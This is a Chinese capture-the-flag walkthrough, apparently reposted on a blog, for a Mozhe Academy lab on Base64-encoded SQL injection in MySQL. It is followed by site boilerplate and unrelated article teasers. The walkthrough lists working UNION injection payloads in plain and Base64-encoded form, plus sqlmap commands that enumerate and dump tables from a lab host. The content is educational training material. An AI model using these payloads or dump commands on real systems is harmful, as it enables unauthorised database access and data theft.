1. 墨者学院:SQL注入实战-MySQL🚀

2. 实训重点目标✨

目标一: 了解sqlmap的使用及其tamper插件的使用;
目标二: 了解base64编码及解码。


3. 解题方向🔍

目标网站的id参数通过Base64编码传输,因此:

  • 手工注入:需将SQL语句Base64编码后注入
  • SQLMAP工具:需使用--tamper=base64encode自动编码Payload(有效载荷:是指攻击者发送给目标系统的恶意数据或代码,用于触发漏洞或执行特定操作)

4. 手工注入方式🎯

4.1 判断字段数⚡

1 order by 3

Base64编码:

MSBvcmRlciBieSAz

!图片占位

4.2 确定回显位⚡

1 and 1=2 union select 1,2

-1 union select 1,2

Base64编码:

MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDI=
LTEgdW5pb24gc2VsZWN0IDEsMg==

!图片占位

4.3 获取数据库信息⚡

1 and 1=2 union select database(),version()

Base64编码:

MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLHZlcnNpb24oKQ==

!图片占位

4.4 获取系统信息⚡

1 and 1=2 union select @@version_compile_os,user()

Base64编码:

MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb25fY29tcGlsZV9vcyx1c2VyKCk=

!图片占位

4.5 爆表名⚡

1 and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='test'

Base64编码:

MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSksMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd0ZXN0Jw==

!图片占位

4.6 爆列名⚡

1 and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='data'

Base64编码:

MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdkYXRhJw==

!图片占位

4.7 获取数据⚡

1 and 1=2 union select group_concat(thekey),2 from data

Base64编码:

MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGhla2V5KSwyIGZyb20gZGF0YQ==

!图片占位


5. SQLMAP工具测试🎯

5.1 获取所有数据库⚡

python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" --dbs --batch --tamper=base64encode

!图片占位

5.2 获取test库的表⚡

python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test --tables --batch --tamper=base64encode

!图片占位

5.3 获取data表的列⚡

python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data --columns --batch --tamper=base64encode

!图片占位

5.4 导出数据⚡

python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data -C id,title,main,thekey --dump --batch --tamper=base64encode

!图片占位

5.5 清理缓存⚡

python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap命令获取如下:

python sqlmap.py -h

5.6 参数说明表⭐

参数作用
--dbs枚举所有数据库
-D test指定目标数据库
--tables枚举表名
-T data指定目标表
--columns枚举列名
--dump导出数据
--tamper=base64encode自动Base64编码Payload

6. 在线工具🔧

  1. 加菲工具:https://www.orcc.top/tools/base64
  2. 锤子工具:https://www.toolhelper.cn/EncodeDecode/Base64
  3. 白盒子工具:https://www.baihezi.com/base64

7. 总结🏁

  1. Base64编码的SQL注入需手工编码或使用tamper插件
  2. 手工注入需逐步验证回显位和数据结构
  3. sqlmap可自动化完成全流程检测

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/91045.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/91045.shtml
英文地址,请注明出处:http://en.pswp.cn/web/91045.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Milvus 实战全流程

📚 学习路径总览1. Milvus 基础知识什么是向量数据库?Milvus 的核心概念(collection、field、index、partition、segment)Milvus 和 Faiss、Annoy、HNSW 的区别2. 安装与部署Docker 快速部署 Milvus(推荐)本…

Mysql数据库基础(入门)

目录 一.认识Sql 1.什么是Sql 2.Sql的作用 3.Sql通用语法 4.Sql分类 二.数据库的操作(DDL) 1.创建数据库 2.显示/使用数据库 3.修改数据库 4.删除数据库 三.常用数据类型 1.数值类型 2.字符串类型 3.日期类型 4.详细的数据类型 四.表的操…

MySQL 锁机制 15 连问 · 面试速答版

一、脑图:锁全景(先记结构,再填细节) 锁层级 ├─ 表锁 │ ├─ 意向锁 IS / IX │ └─ 表锁 READ / WRITE └─ 行锁├─ 记录锁 Record├─ 间隙锁 Gap└─ 临键锁 Next-Key二、15 问 15 答(面试官一问一…

【Linux】发展历程

很高兴为您详细介绍Linux操作系统的详细发展历程。Linux是一个自由和开放源代码的操作系统内核,由林纳斯托瓦兹(Linus Torvalds)于1991年首次发布。以下是Linux操作系统的主要发展里程碑:1. Linux 0.01 (1991)发布日期&#xff1a…

LNMP架构+wordpress实现动静分离

WordPress简称WP,最初是一款博客系统,后逐步演化成一款免费的CMS(内容管理系统/建站系统)。 WordPress网站的适用场景: 博客 企业官网 作品集网站 电商平台 线上教育系统 论坛和社群网站 甚至会员系统、订阅内容…

智慧灯杆:不止于照明,塔能科技的城市感知网络野心

当夜幕悄然降临,城市里的路灯便依次亮了起来,它们可不单单照亮了行人前行的路以及车辆行驶的道路,实际上还在悄无声息地经历着一场变革。现如今的路灯,早已不再仅仅充当单纯的照明工具这么一个角色了,而是逐渐转变成了…

【Linux内核模块】调试技巧

内核模块开发最让人头疼的不是写代码,而是调试 —— 代码编译通过了,加载后却要么没反应,要么直接让系统崩溃。这就像在黑屋子里修机器,看不见摸不着。其实内核调试有一套成熟的工具箱,掌握这些工具和技巧,…

RK3568笔记九十一:QT环境搭建

若该文为原创文章,转载请注明原文出处。 记录按照正点原子给的手册搭建QT环境 参考《09【正点原子】ATK-DLRK3568_Qt开发环境搭建V1.2.pdf》 一、安装 1、下载 https://mirrors.sau.edu.cn/qt/archive/online_installers/4.6/qt-unified-linux-x64-4.6.0-online.run 2、赋…

面试实战,问题十六,Java面试,消息队列,如何避免消息重复消费,怎么回答

在Java面试中,关于消息队列如何防止消息被重复消费的问题,可以从以下几个方面进行回答,结合系统架构设计、消息队列机制和业务逻辑处理,确保在不同场景下实现消息的幂等性。 1. 消息队列重复消费的根本原因 消息重复消费的根本原因…

PDF转图片实用指南:如何批量高效转换?

将PDF转换为图片后,可以更方便地在演示文稿、网页或电子相册中使用这些资料,以便更好地展示信息。它 是一款支持多文件批量转换的工具,可将多个 PDF 文档一键转换为图片格式。虽然界面为英文,但操作简单,不影响使用。你…

走入Linux的世界:编辑器Vim

嘿,各位技术潮人!好久不见甚是想念。生活就像一场奇妙冒险,而编程就是那把超酷的万能钥匙。此刻,阳光洒在键盘上,灵感在指尖跳跃,让我们抛开一切束缚,给平淡日子加点料,注入满满的pa…

PyTorch中神经网络的模型构建

要构建自定义模型,需完成两个核心步骤:继承 nn.Module 类;重载 __init__ 方法(初始化)和 forward 方法(前向计算) 神经网络的构造 初始化方法(__init__) def __init__…

QML QtCharts坐标轴系统

QtCharts是Qt框架中强大的数据可视化模块,它提供了丰富的图表类型和灵活的坐标轴系统,能够满足各种数据展示需求。本文将全面介绍QML中QtCharts的坐标轴系统,包括数值坐标轴(ValueAxis)、对数坐标轴(LogValueAxis)、分类坐标轴(CategoryAxis)…

TI 2025全国电赛猜题

本科组可能的题目方向本科组器材更侧重高频信号处理、复杂控制系统、精密测量及多设备协同,可能涉及以下题目:四旋翼飞行器相关任务题目示例:设计 “基于四旋翼的 UV 光控自主导航系统”任务要求:利用四旋翼飞行器(最大…

Python自动化运维实战指南

什么是自动化运维定义与背景自动化运维是指利用工具和脚本自动执行传统上需要人工操作的IT运维任务,包括但不限于服务器配置管理、软件部署、监控告警、日志分析等日常工作。随着互联网业务规模的扩大,传统手工运维方式已无法满足快速部署、规模化管理等…

k8s的csi对接GPFS

在 Kubernetes(k8s)集群中,通过 CSI(Container Storage Interface)对接 GPFS(General Parallel File System,现为 IBM Spectrum Scale)是实现高性能共享存储的重要方案。GPFS 作为并…

HTB赛季8靶场 - era

nmap扫描 └─$ nmap -p- --min-rate 1000 -T4 10.129.137.201 -oA nmapfullscan Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 21:19 EDT Warning: 10.129.137.201 giving up on port because retransmission cap hit (6). …

Bug猫学习史#1:面向对象

在Java编程中,掌握几个核心概念对深入学习至关重要:类属性建议采用包装类以提升灵活性;建造者模式中this关键字能有效简化对象构建过程;static关键字涉及类的加载机制;接口默认使用public修饰符并支持默认方法实现&…

优测推出HarmonyOS全场景测试服务,解锁分布式场景应用卓越品质!

随着HarmonyOS NEXT“纯血鸿蒙”的全面商用,生态正以前所未有的速度重构终端操作系统格局。对于APP厂商而言,应用测试需要从单一设备思维向场景化服务验证转变。优测云服务平台正式推出 HarmonyOS全场景测试解决方案,针对鸿蒙系统提供功能测试…

二层环路与三层环路:原理、区别与解决方案全解析

网络环路是网络运维中最常见也最具破坏性的问题之一。本文将深入浅出地解析二层环路和三层环路的核心概念,通过对比分析帮助读者全面理解这两种环路的形成机制、危害表现及解决方案。一、环路问题概述 1.1 什么是网络环路 网络环路是指数据包在网络中循环传输无法到…